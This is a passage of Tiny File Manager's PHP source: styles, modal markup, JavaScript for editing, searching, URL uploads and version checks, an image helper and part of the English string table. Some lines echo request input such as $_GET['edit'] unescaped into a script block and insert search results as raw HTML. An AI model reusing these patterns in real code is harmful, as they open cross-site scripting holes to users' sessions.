font-size:1.3em;vertical-align:bottom } .path { margin-bottom:10px } form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; } .right { text-align:right } .center, .close, .login-form { text-align:center } .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff } .message.ok { border-color:green;color:green } .message.error { border-color:red;color:red } .message.alert { border-color:orange;color:orange } .preview-img { max-width:100%;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC) } .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:3px } .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px } .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 } .compact-table { border:0;width:auto } .compact-table td, .compact-table th { width:100px;border:0;text-align:center } .compact-table tr:hover td { background-color:#fff } .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis } .break-word { word-wrap:break-word;margin-left:30px } .break-word.float-left a { color:#7d7d7d } .break-word + .float-right { padding-right:30px;position:relative } .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px } #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px } @media (max-width:481px) { #editor { top:150px; } } #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; } .btn-2 { border-radius:0;padding:3px 6px;font-size:small; } li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px } li.folder:before { content:"\f114" } i.fa.fa-folder-o { color:#0157b3 } i.fa.fa-picture-o { color:#26b99a } i.fa.fa-file-archive-o { color:#da7d7d } .btn-2 i.fa.fa-file-archive-o { color:inherit } i.fa.fa-css3 { color:#f36fa0 } i.fa.fa-file-code-o { color:#007bff } i.fa.fa-code { color:#cc4b4c } i.fa.fa-file-text-o { color:#0096e6 } i.fa.fa-html5 { color:#d75e72 } i.fa.fa-file-excel-o { color:#09c55d } i.fa.fa-file-powerpoint-o { color:#f6712e } i.go-back { font-size:1.2em;color:#007bff; } .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) } .dataTables_filter { display:none; } table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); } table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); } table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); } table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; } .footer-action li { margin-bottom:10px; } .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; } hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; } .ekko-lightbox .modal-dialog { max-width:98%; } .ekko-lightbox-item.fade.in.show .row { background:#fff; } .ekko-lightbox-nav-overlay { display:flex !important;opacity:1 !important;height:auto !important;top:50%; } .ekko-lightbox-nav-overlay a { opacity:1 !important;width:auto !important;text-shadow:none !important;color:#3B3B3B; } .ekko-lightbox-nav-overlay a:hover { color:#20507D; } #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; } #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; } @-webkit-keyframes fadein { from { bottom:0;opacity:0; } to { bottom:30px;opacity:1; } } @keyframes fadein { from { bottom:0;opacity:0; } to { bottom:30px;opacity:1; } } @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; } to { bottom:0;opacity:0; } } @keyframes fadeout { from { bottom:30px;opacity:1; } to { bottom:0;opacity:0; } } #main-table span.badge { border-bottom:2px solid #f8f9fa } #main-table span.badge:nth-child(1) { border-color:#df4227 } #main-table span.badge:nth-child(2) { border-color:#f8b600 } #main-table span.badge:nth-child(3) { border-color:#00bd60 } #main-table span.badge:nth-child(4) { border-color:#4581ff } #main-table span.badge:nth-child(5) { border-color:#ac68fc } #main-table span.badge:nth-child(6) { border-color:#45c3d2 } @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6.text-right { padding:0; } } .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important } .lds-facebook { display:none;position:relative;width:64px;height:64px } .lds-facebook div,.lds-facebook.show-me { display:inline-block } .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite } .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s } .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s } .lds-facebook div:nth-child(3) { left:45px;animation-delay:0 } @keyframes lds-facebook { 0% { top:6px;height:51px } 100%,50% { top:19px;height:26px } } ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; } ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;} .c-preview-img { max-width: 300px; } </style> <?php if (FM_THEME == "dark"): ?> <style> body.theme-dark { background-color: #2f2a2a; } .list-group .list-group-item { background: #343a40; } .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #ffffff; } a, a:hover, a:visited, a:active, #main-table .filename a { color: #00ff1f; } ul#search-wrapper li:nth-child(odd) { background: #f9f9f9cc; } .theme-dark .btn-outline-primary { color: #00ff1f; border-color: #00ff1f; } .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #028211;} </style> <?php endif; ?> </head> <body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>"> <div id="wrapper" class="container-fluid"> <!-- New Item creation --> <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" aria-label="newItemModalLabel" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content <?php echo fm_get_theme(); ?>"> <div class="modal-header"> <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p> <div class="custom-control custom-radio custom-control-inline"> <input type="radio" id="customRadioInline1" name="newfile" value="file" class="custom-control-input"> <label class="custom-control-label" for="customRadioInline1"><?php echo lng('File') ?></label> </div> <div class="custom-control custom-radio custom-control-inline"> <input type="radio" id="customRadioInline2" name="newfile" value="folder" class="custom-control-input" checked=""> <label class="custom-control-label" for="customRadioInline2"><?php echo lng('Folder') ?></label> </div> <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p> <input type="text" name="newfilename" id="newfilename" value="" class="form-control"> </div> <div class="modal-footer"> <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button> <button type="button" class="btn btn-success" onclick="newfolder('<?php echo fm_enc(FM_PATH) ?>');return false;"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button> </div> </div> </div> </div> <!-- Modal --> <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg" role="document"> <div class="modal-content <?php echo fm_get_theme(); ?>"> <div class="modal-header"> <h5 class="modal-title col-10" id="searchModalLabel"> <div class="input-group input-group"> <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> a files" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required> <div class="input-group-append"> <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span> </div> </div> </h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <form action="" method="post"> <div class="lds-facebook"><div></div><div></div><div></div></div> <ul id="search-wrapper"> <p class="m-2">Search file in folder and subfolders...</p> </ul> </form> </div> </div> </div> </div> <script type="text/html" id="js-tpl-modal"> <div class="modal fade" id="js-ModalCenter-<%this.id%>" tabindex="-1" role="dialog" aria-labelledby="ModalCenterTitle" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="ModalCenterTitle"><%this.title%></h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <%this.content%> </div> <div class="modal-footer"> <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button> <%if(this.action){%><button type="button" class="btn btn-primary" id="js-ModalCenterAction" data-type="js-<%this.action%>"><%this.action%></button><%}%> </div> </div> </div> </div> </script> <?php } /** * Show page footer */ function fm_show_footer() { ?> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script> <script src="https://cdn.datatables.net/1.10.21/js/jquery.dataTables.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.min.js"></script> <?php if (FM_USE_HIGHLIGHTJS): ?> <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.3/highlight.min.js"></script> <script>hljs.initHighlightingOnLoad(); var isHighlightingEnabled = true;</script> <?php endif; ?> <script> $(document).on('click', '[data-toggle="lightbox"]', function(event) { event.preventDefault(); var reInitHighlight = function() { if(typeof isHighlightingEnabled !== "undefined" && isHighlightingEnabled) { setTimeout(function () { $('.ekko-lightbox-container pre code').each(function (i, e) { hljs.highlightBlock(e) }); }, 555); } }; $(this).ekkoLightbox({ alwaysShowClose: true, showArrows: true, onShown: function() { reInitHighlight(); }, onNavigate: function(direction, itemIndex) { reInitHighlight(); } }); }); //TFM Config window.curi = "https://tinyfilemanager.github.io/config.json", window.config = null; function fm_get_config(){ if(!!window.name){ window.config = JSON.parse(window.name); } else { $.getJSON(window.curi).done(function(c) { if(!!c) { window.name = JSON.stringify(c), window.config = c; } }); }} function template(html,options){ var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add} while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length} add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options) } function newfolder(e) { var t = document.getElementById("newfilename").value, n = document.querySelector('input[name="newfile"]:checked').value; null !== t && "" !== t && n && (window.location.hash = "#", window.location.search = "p=" + encodeURIComponent(e) + "&new=" + encodeURIComponent(t) + "&type=" + encodeURIComponent(n)) } function rename(e, t) {var n = prompt("New name", t);null !== n && "" !== n && n != t && (window.location.search = "p=" + encodeURIComponent(e) + "&ren=" + encodeURIComponent(t) + "&to=" + encodeURIComponent(n))} function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked } function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t } function select_all() { change_checkboxes(get_checkboxes(), !0) } function unselect_all() { change_checkboxes(get_checkboxes(), !1) } function invert_all() { change_checkboxes(get_checkboxes()) } function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) } function backup(e, t) { //Create file backup with .bck var n = new XMLHttpRequest, a = "path=" + e + "&file=" + t + "&type=backup&ajax=true"; return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () { 4 == n.readyState && 200 == n.status && toast(n.responseText) }, n.send(a), !1 } // Toast message function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); } //Save file function edit_save(e, t) { var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value; if (n) { if(true){ var data = {ajax: true, content: n, type: 'save'}; $.ajax({ type: "POST", url: window.location, // The key needs to match your method's input parameter (case-sensitive). data: JSON.stringify(data), contentType: "multipart/form-data-encoded; charset=utf-8", //dataType: "json", success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}}, failure: function(mes) {toast("Error: try again");}, error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);} }); } else{ var a = document.createElement("form"); a.setAttribute("method", "POST"), a.setAttribute("action", ""); var o = document.createElement("textarea"); o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata"); var c = document.createTextNode(n); o.appendChild(c), a.appendChild(o), document.body.appendChild(a), a.submit() } } } //Check latest version function latest_release_info(v) { if(!!window.config){var tplObj={id:1024,title:"Check Version",action:false},tpl=$("#js-tpl-modal").html(); if(window.config.version!=v){tplObj.content=window.config.newUpdate;}else{tplObj.content=window.config.noUpdate;} $('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1024").modal('show');}else{fm_get_config();} } function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); } //Save Settings function save_settings($this) { let form = $($this); $.ajax({ type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true, success: function (data) {if(data) { window.location.reload();}} }); return false; } //Create new password hash function new_password_hash($this) { let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val(''); $.ajax({ type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true, success: function (data) { if(data) { $pwd.val(data); } } }); return false; } //Upload files using URL @param {Object} function upload_from_url($this) { let form = $($this), resultWrapper = $("div#js-url-upload__list"); $.ajax({ type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true, beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); }, success: function (data) { if(data) { data = JSON.parse(data); if(data.done) { resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val(''); } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); } form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me'); } }, error: function(xhr) { form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr); } }); return false; } //Search template function search_template(data) { var response = ""; $.each(data, function (key, val) { response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`; }); return response; } //search function fm_search() { var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook"); if(!!searchTxt && searchTxt.length > 2 && path) { var data = {ajax: true, content: searchTxt, path:path, type: 'search'}; $.ajax({ type: "POST", url: window.location, data: data, beforeSend: function() { searchWrapper.html(''); $loader.addClass('show-me'); }, success: function(data){ $loader.removeClass('show-me'); data = JSON.parse(data); if(data && data.length) { _html = search_template(data); searchWrapper.html(_html); } else { searchWrapper.html('<p class="m-2">No result found!<p>'); } }, error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); }, failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');} }); } else { searchWrapper.html("OOPS: minimum 3 characters required!"); } } //on mouse hover image preview !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery); // Dom Ready Event $(document).ready( function () { //load config fm_get_config(); //dataTable init var $table = $('#main-table'), tableLng = $table.find('th').length, _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3], mainTable = $('#main-table').DataTable({"paging": false, "info": false, "columnDefs": [{"targets": _targets, "orderable": false}] }); //search $('#search-addon').on( 'keyup', function () { mainTable.search( this.value ).draw(); }); $("input#advanced-search").on('keyup', function (e) { if (e.keyCode === 13) { fm_search(); } }); $('#search-addon3').on( 'click', function () { fm_search(); }); //upload nav tabs $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){ e.preventDefault();let target=$(this).data('target'); $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active'); $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden'); }); }); </script> <?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE): $ext = "javascript"; $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION); ?> <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.1/ace.js"></script> <script> var editor = ace.edit("editor"); editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} ); //editor.setTheme("ace/theme/twilight"); //Dark Theme function ace_commend (cmd) { editor.commands.exec(cmd, editor); } editor.commands.addCommands([{ name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'}, exec: function(editor) { edit_save(this, 'ace'); } }]); function renderThemeMode() { var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; }, _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}}; if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); } if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");} if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); } $modeEl.val( editor.getSession().$modeId ); $themeEl.val( editor.getTheme() ); $fontSizeEl.val(12).change(); //set default font size in drop down } $(function(){ renderThemeMode(); $(".js-ace-toolbar").on("click", 'button', function(e){ e.preventDefault(); let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option"); if(cmdValue && cmdValue != "none") { ace_commend(cmdValue); } else if(editorOption) { if(editorOption == "fullscreen") { (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen) &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen()); } else if(editorOption == "wrap") { let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true; editor.getSession().setUseWrapMode(wrapStatus); } else if(editorOption == "help") { var helpHtml="";$.each(window.config.aceHelp,function(i,value){helpHtml+="<li>"+value+"</li>";});var tplObj={id:1028,title:"Help",action:false,content:helpHtml},tpl=$("#js-tpl-modal").html();$('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1028").modal('show'); } } }); $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){ e.preventDefault(); let selectedValue = $(this).val(), selectionType = $(this).attr("data-type"); if(selectedValue && selectionType == "mode") { editor.getSession().setMode(selectedValue); } else if(selectedValue && selectionType == "theme") { editor.setTheme(selectedValue); }else if(selectedValue && selectionType == "fontSize") { editor.setFontSize(parseInt(selectedValue)); } }); }); </script> <?php endif; ?> <div id="snackbar"></div> </body> </html> <?php } /** * Show image * @param string $img */ function fm_show_image($img) { $modified_time = gmdate('D, d M Y 00:00:00') . ' GMT'; $expires_time = gmdate('D, d M Y 00:00:00', strtotime('+1 day')) . ' GMT'; $img = trim($img); $images = fm_get_images(); $image = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAEElEQVR42mL4//8/A0CAAQAI/AL+26JNFgAAAABJRU5ErkJggg=='; if (isset($images[$img])) { $image = $images[$img]; } $image = base64_decode($image); if (function_exists('mb_strlen')) { $size = mb_strlen($image, '8bit'); } else { $size = strlen($image); } if (function_exists('header_remove')) { header_remove('Cache-Control'); header_remove('Pragma'); } else { header('Cache-Control:'); header('Pragma:'); } header('Last-Modified: ' . $modified_time, true, 200); header('Expires: ' . $expires_time); header('Content-Length: ' . $size); header('Content-Type: image/png'); echo $image; exit; } /** * Language Translation System * @param string $txt * @return string */ function lng($txt) { global $lang; // English Language $tr['en']['AppName'] = 'Tiny File Manager'; $tr['en']['AppTitle'] = 'File Manager'; $tr['en']['Login'] = 'Sign in'; $tr['en']['Username'] = 'Username'; $tr['en']['Password'] = 'Password'; $tr['en']['Logout'] = 'Sign Out'; $tr['en']['Move'] = 'Move'; $tr['en']['Copy'] = 'Copy'; $tr['en']['Save'] = 'Save'; $tr['en']['SelectAll'] = 'Select all'; $tr['en']['UnSelectAll'] = 'Unselect all'; $tr['en']['File'] = 'File'; $tr['en']['Back'] = 'Back'; $tr['en']['Size'] = 'Size'; $tr['en']['Perms'] = 'Perms'; $tr['en']['Modified'] = 'Modified'; $tr['en']['Owner'] = 'Owner'; $tr['en']['Search'] = 'Search'; $tr['en']['NewItem'] = 'New Item'; $tr['en']['Folder'] = 'Folder'; $tr['en']['Delete'] = 'Delete'; $tr['en']['Rename'] = 'Rename'; $tr['en']['CopyTo'] = 'Copy to'; $tr['en']['DirectLink'] = 'Direct link'; $tr['en']['UploadingFiles'] = 'Upload Files'; $tr['en']['ChangePermissions'] = 'Change Permissions'; $tr['en']['Copying'] = 'Copying'; $tr['en']['CreateNewItem'] = 'Create New Item'; $tr['en']['Name'] = 'Name'; $tr['en']['AdvancedEditor'] = 'Advanced Editor'; $tr['en']['RememberMe'] = 'Remember Me'; $tr['en']['Actions'] = 'Actions'; $tr['en']['Upload'] = 'Upload'; $tr['en']['Cancel'] = 'Cancel'; $tr['en']['InvertSelection']= 'Invert Selection'; $tr['en']['DestinationFolder'] = 'Destination Folder'; $tr['en']['ItemType'] = 'Item Type'; $tr['en']['ItemName'] = 'Item Name'; $tr['en']['CreateNow'] = 'Create Now'; $tr['en']['Download'] = 'Download'; $tr['en']['Open'] = 'Open'; $tr['en']['UnZip'] = 'UnZip'; $tr['en']['UnZipToFolder'] = 'UnZip to folder'; $tr['en']['Edit'] 